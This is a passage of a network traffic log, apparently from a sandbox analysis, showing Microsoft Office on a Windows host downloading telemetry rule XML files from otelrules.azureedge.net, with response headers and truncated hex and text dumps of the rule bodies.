2024-10-29 17:42:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: fe6c1954-001e-0082-5f6d-285880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174234Z-r197bdfb6b4jlq9hppzrdwabps00000001zg00000000dh8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:35 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:35 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174235Z-15b8d89586fvk4kmbg8pf84y8800000007t0000000008tqa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:35 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:35 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174235Z-16849878b78j7llf5vkyvvcehs00000007y000000000fc7r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:35 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dbd91de3-001e-002b-2827-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174235Z-r197bdfb6b42rt68rzg9338g1g0000000870000000003s93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:35 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:35 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 612e6849-a01e-0084-0e9c-279ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174235Z-r197bdfb6b46krmwag4tzr9x7c00000006tg000000002c8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:36 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:35 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174235Z-16849878b78j5kdg3dndgqw0vg00000008p0000000002cf3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:36 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:36 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174236Z-16849878b785dznd7xpawq9gcn000000083g00000000yhtf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:36 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:37 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:37 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 67ffa827-301e-006e-4912-29f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174237Z-r197bdfb6b4wmcgqdschtyp7yg00000006rg00000000g0ds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:37 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:37 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:37 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:37 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c21b0bdf-c01e-008e-186f-287381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174237Z-15b8d89586fqj7k5h9gbd8vs98000000082g000000006h76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:37 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:37 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:37 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:37 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174237Z-16849878b78hh85qc40uyr8sc8000000072000000000sahy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:37 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:37 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:37 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174237Z-16849878b78x6gn56mgecg60qc00000008qg000000009zc9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:37 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:37 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:37 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:37 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174237Z-16849878b78wc6ln1zsrz6q9w800000006m0000000006gvv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:37 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
